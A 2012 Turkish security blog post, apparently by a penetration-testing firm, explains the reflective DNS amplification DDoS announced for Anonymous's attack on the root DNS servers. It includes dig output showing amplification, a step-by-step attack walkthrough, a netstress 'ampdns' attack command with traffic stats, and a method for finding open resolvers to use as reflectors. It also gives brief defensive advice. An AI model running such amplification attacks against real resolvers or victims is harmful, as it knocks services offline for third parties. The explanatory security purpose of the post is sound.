Anonymous Blackout DDoS Operasyonunun Teknik Detayları

Günlerdir internet durdurulabilir mi durdurulamaz mı, durdurulabilirse etkileri neler olur tartışmaları sürüyor. Interneti durdurmak için kullanılacak yöntem de internet’in omurgasında yer alan root DNS sunucuların hizmet veremez hale getirilmesi olarak belirlenmiş. Benzeri amaçlı saldırılar 2002 ve 2007 yıllarında yaşanmıştı. 2002 yılında büyük oranda dünyanın internet trafiği etkilenmiş olsa da 2007 yılında ciddi bir etkilenme olmamıştı (DNS Anycast’de geçildiği için).

Ünlü hacker grubu Anonymous 31 Mart’da dünyadaki çeşitli olayları protesto etmek için Internet’i durdurmak için saldırı gerçekleştireceğini açıkladı. Saldırı nedeni ve teknik olmayan detaylar için http://pastebin.com/NKbnh8q8 adresi incelebilir.

Saldırının adı Reflective DNS Amplification DDoS olarak geçiyor. Saldırıda saldırganların ip adresleri hedefe hiçbir paket göndermiyor. Bunun yerine internetde genel sorgulamaya açık DNS sunucuları kullanılarak sahte DNS paketleriyle tüm saldırılar ara DNS sunuculardan geliyormuş gibi gözüküyor.

Teknik olarak bu saldırı tipinin interneti durdurması günümüzde kullanılan Ayncast DNS altyapısından dolayı mümkün değil fakat saldırganların farklı ülkelerden ve belirli sayının üzerinde olması durumunda gerçekten böyle bir felaket yaşanabilir. Söz konusu saldırı tipi DDoS olunca teknik bilginin bir sınırı oluyor.

Saldırı hakkında biraz daha teknik bilgi aktaralım.

DNS’e yönelik gerçekleştirilebilecek DDoS saldırıları hakkında detay bilgi için http://www.bga.com.tr/calismalar/dns_ddos.pdf adresindeki geniş yazı ilginizi çekebilir.

Ara NOT:  Bu yazı kesinlikle ilgili hacker grubu ve gerçekleştirilen saldırının amacı, hukuki yanı vs gibi teknik olmayan konuları içermemektedir. Yazının tek amacı gerçekleştirilmesi düşünülen saldırının teknik detaylarına biraz daha açıklık kazandırmaktır.

 

Neden Reflective DNS Amplification DDoS  Saldırısı Seçildi?

Bu saldırı tipinde gönderilen DNS isteğine dönecek cevabın kat kat fazla olması özelliği  kullanır. Ara DNS sunucuya gönderilecek 50 byte’lık bir DNS isteğine 500 Byte~cevap döndüğü düşünülürse saldırgan elindeki bant genişliğinin 10 katı kadar saldırı trafiği oluşturabilir. Yani 10 Gbps trafik üretebilecek kapasitede bir iş gücü varsa elinizde bununla teorik olarak 100Gbps dns saldırı trafiği üretebilirsiniz.

 

DNS İstek ve Cevap Boyutları Arasındaki Fark

DNS istek cevap arasındaki bu farkı aşağıdaki örnekte görebilirsiniz.

Basit bir DNS isteğinin boyutu

IP (tos 0x0, ttl 64, id 43824, offset 0, flags [none], proto: UDP (17), length: 45) DNS_ISTEMCI.35428 > DNS_SUNUCU.53: 62426+ A? . (17)

Gönderilen bu DNS isteğinin cevabı ortalama 500 Byte civarında olmaktadır. Bu şekilde istek-cevap arasındaki farkı yüksek tutmak için ya dns sunucuya . sorgulanır (root dnsleri sorgulama) ya da özel bir dns kaydı oluşturulur ve o alan adı sorgulanır.

Aşağıda DNS sunucuya gönderilen ” .” sorgusuna dönen cevap ve boyut bilgileri incelenebilir.

[[email protected] ~]$ dig . @ns1.tr.net.

; <<>> DiG 9.3.6-P1-RedHat-9.3.6-20.P1.el5 <<>> . @ns1.tr.net.
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 62426
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 13, ADDITIONAL: 14

;; QUESTION SECTION:
;. IN A

;; AUTHORITY SECTION:
. 482625 IN NS b.root-servers.net.
. 482625 IN NS c.root-servers.net.
. 482625 IN NS d.root-servers.net.
. 482625 IN NS e.root-servers.net.
. 482625 IN NS f.root-servers.net.
. 482625 IN NS g.root-servers.net.
. 482625 IN NS h.root-servers.net.
. 482625 IN NS i.root-servers.net.
. 482625 IN NS j.root-servers.net.
. 482625 IN NS k.root-servers.net.
. 482625 IN NS l.root-servers.net.
. 482625 IN NS m.root-servers.net.
. 482625 IN NS a.root-servers.net.

;; ADDITIONAL SECTION:
a.root-servers.net. 569025 IN A 198.41.0.4
a.root-servers.net. 569025 IN AAAA 2001:503:ba3e::2:30
b.root-servers.net. 569025 IN A 192.228.79.201
c.root-servers.net. 569025 IN A 192.33.4.12
d.root-servers.net. 569025 IN A 128.8.10.90
d.root-servers.net. 569025 IN AAAA 2001:500:2d::d
e.root-servers.net. 569025 IN A 192.203.230.10
f.root-servers.net. 569025 IN A 192.5.5.241
f.root-servers.net. 569025 IN AAAA 2001:500:2f::f
g.root-servers.net. 569025 IN A 192.112.36.4
h.root-servers.net. 569025 IN A 128.63.2.53
h.root-servers.net. 569025 IN AAAA 2001:500:1::803f:235
i.root-servers.net. 569025 IN A 192.36.148.17
i.root-servers.net. 569025 IN AAAA 2001:7fe::53

;; Query time: 14 msec
;; SERVER: 195.155.1.3#53(195.155.1.3)
;; WHEN: Sat Mar 31 06:06:35 2012
;; MSG SIZE rcvd: 512

 

Burada saldırgan kurbanın ip adresinden (Blackout operasyonunda kurban olarak Root DNS ip adresleri seçildi) geliyormuş gibi anlık milyonlarca istek gönderirse tüm cevaplar on kat daha fazla olarak root DNS’lere yönlenecektir.

 

 Adım Adım Reflective DNS Amplification DDoS  Saldırısı 

 

 

1.Adım: Saldırgan rekursif sorguya açık DNS sunucu bulur ve daha önce hazırladığı özel alan  adını sorgulatır (Gerçek hayatta özel bir alan adı değil “.” sorgulanır.). Bu isteğin boyutu 50 Byte tutmaktadır.

2. Adım: Ara DNS sunucu kendi ön belleğinde olmayan bu isteği gidip ana DNS sunucuya sorar (50
Byte)

3.Adım: Ana DNS sunucu test.bga.com.tr için gerekli cevabı döner (500~byte)

4. Adım: Ara DNS sunucu cevabo ön belleğine alarak bir kopyasını Saldırgana döner. Burada amaç ARA DNS sunucunun dönen 500 Byte’lık cevabı ön belleğe almasını sağlamaktır.

5.Adım: Test kullanıcısı (saldırganın kontrolünde) test.bga.com.tr alan adını sorgular ve cevabın cachede olup olmadığını anlamaya çalışır.

6.Adım: Ara DNS sunucu ön belleğinden 500 byte cevap döner

7.Adım: Saldırgan Kurban’ın IP adresinden geliyormuş gibi sahte DNS paketleri gönderir.  DNS paketleri test.bga.com.tr’i sorgulamaktadır (ortalama 100.000 dns q/s). Bu üretilen  paketlerin Saldırgana maliyeti 100.000 X53 Byte

8.Adım: Ara DNS sunucu gelen her paket için 500 Byte’lık cevabı Kurban sistemlere dönmeye çalışacaktır. Böylece Ara DNS sunucu 100.000X500 Byte trafik üreterek  saldırganın kendi trafiğinin 10 katı kadar çoğaltarak Kurban’a saldırıyor gözükecektir.

 //Güncelleme: Resimdeki sayılar aşağıdaki şekilde olmalı

3:2
4:3
2:4

 Saldırı Araçları

Internet üzerinde DNS Amplification DDoS saldırısı gerçekleştirmek için bulunabilecek onlarca yazılım vardır. Bu yazılımların ortak özelliği gerçek bir saldırıda kullanılmak amacıyla değil de böyle bir saldırı nasıl çalışırı göstermek amacıyla yazılmış olmasıdır. Bu yazılımlar kullanılarak ancak onbinlerce insanın katıldığı bir saldırı başarılı olabilir.

BGA DDoS Pentest hizmetinde kullandığımız Netstress yazılımı ilk sürümlerinden beri bu saldırı tipini başarıyla gerçekleştirebilmektedir. Tek bir makineden saniyede 500.000 DNS isteğini gönderebilen (bağlantı ve donanıma göre daha fazlası da gönderilebilir) Netstress ile gerçekleştirilecek Amplified DNS DDoS/DoS saldırısının başarısız olma ihtimali yok denecek kadar azdır.

 

Netstress Kullanarak Örnek bir DNSA Saldırısı

[[email protected] netstress]# ./netstress_fullstatic -d 1.1.1.1 –attack ampdns -n 2 -N test.bga.com.tr -f boldns

———- netstress stats ———-
PPS: 83150
BPS: 15964928
MPS: 15.23
Total seconds active: 3
Total packets sent: 249452
————————————-

———- netstress stats ———-
PPS: 96866
BPS: 18598400
MPS: 17.74
Total seconds active: 3
Total packets sent: 290600
————————————-

 Saldırıda Aracı Olarak Kullanılacak DNS Sunucuları Bulma

Saldırıda aracı olarak kullanılacak DNS sunucuların recursive sorgulamalara izin vermesi ya da “.” sorgusuna izin vermesi yeterli olmaktadır. Bunun için internetde genele açık hizmet veren DNS sunucuların bulunması gerekir.

Genele açık DNS sunucular(public dns) kendisine gelen tüm istekleri cevaplamaya çalışan  türde bir dns sunucu tipidir. Bu tip dns sunucular eğer gerçekten amacı genele hizmet vermek değilse genellikle eksik/yanlış yapılandırmanın sonucu ortaya çıkar.

Bir sunucunun genele açık hizmet(recursive DNS çözücü) verip vermediğini anlamanın en kolay yolu o DNS sunucusu üzerinden google.com, yahoo.com gibi o DNS sunucuda  tutulmayan alan adlarını sorgulamaktır.

Eğer hedef DNS sunucu genele açık bir DNS sunucu olarak yapılandırıldıysa aşağıdakine benzer çıktı verecektir.

[[email protected] netstress]# dig www.google.com @8.8.8.8

; <<>> DiG 9.3.6-P1-RedHat-9.3.6-20.P1.el5 <<>> www.google.com @8.8.8.8
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26375
;; flags: qr rd ra; QUERY: 1, ANSWER: 6, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.google.com. IN A

;; ANSWER SECTION:
www.google.com. 86399 IN CNAME www.l.google.com.
www.l.google.com. 299 IN A 173.194.35.179
www.l.google.com. 299 IN A 173.194.35.177
www.l.google.com. 299 IN A 173.194.35.176
www.l.google.com. 299 IN A 173.194.35.180
www.l.google.com. 299 IN A 173.194.35.178

;; Query time: 94 msec
;; SERVER: 8.8.8.8 #53(8.8.8.8)
;; WHEN: Sat Mar 31 06:42:05 2012
;; MSG SIZE rcvd: 132

 

Eğer DNS sunucu genele açık hizmet verecek şekilde yapılandırılmadıysa aşağıdakine benzer çıktı vermelidir (refused ya da root dnslerin ip adresi)

 

[[email protected] netstress]# dig www.google.com @ns1.bga.com.tr

; <<>> DiG 9.3.6-P1-RedHat-9.3.6-20.P1.el5 <<>> www.google.com @ns1.bga.com.tr
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: REFUSED, id: 35287
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.google.com. IN A

;; Query time: 135 msec
;; SERVER: 50.22.202.162#53(50.22.202.162)
;; WHEN: Sat Mar 31 06:43:01 2012
;; MSG SIZE rcvd: 32

 

[[email protected] netstress]# dig www.google.com @ns1.example.org

; <<>> DiG 9.3.6-P1-RedHat-9.3.6-20.P1.el5 <<>> www.google.com @ns1.example.org
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 25346
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 13, ADDITIONAL: 0

;; QUESTION SECTION:
;www.google.com. IN A

;; AUTHORITY SECTION:
. 518400 IN NS L.ROOT-SERVERS.NET.
. 518400 IN NS M.ROOT-SERVERS.NET.
. 518400 IN NS A.ROOT-SERVERS.NET.
. 518400 IN NS B.ROOT-SERVERS.NET.
. 518400 IN NS C.ROOT-SERVERS.NET.
. 518400 IN NS D.ROOT-SERVERS.NET.
. 518400 IN NS E.ROOT-SERVERS.NET.
. 518400 IN NS F.ROOT-SERVERS.NET.
. 518400 IN NS G.ROOT-SERVERS.NET.
. 518400 IN NS H.ROOT-SERVERS.NET.
. 518400 IN NS I.ROOT-SERVERS.NET.
. 518400 IN NS J.ROOT-SERVERS.NET.
. 518400 IN NS K.ROOT-SERVERS.NET.

;; Query time: 135 msec
;; WHEN: Sat Mar 31 06:43:11 2012
;; MSG SIZE rcvd: 243

 

 Saldırılardan Korunma

Bu tip bir saldırıdan klasik yöntemleri çalıştırarak korunamayız. Saldırının amacı tamamen hedef sistemin trafik akış kapasitesini doldurmak olduğu için DNS sunucuları daha güçlü ve trafik akışı yüksek yerlerde host etmek veya çok daha zor ama %99 korunma sağlayacak DNS anycast altyapısını kullanmak olacaktır.

 

This entry was posted in DNS, DOS/DDOS, Misc and tagged , , , . Bookmark the permalink.

1 Response to Anonymous Blackout DDoS Operasyonunun Teknik Detayları

  1. başarılarınızın devamını dilerim teşekkürler

Leave a Reply

Your email address will not be published. Required fields are marked *

twenty − 14 =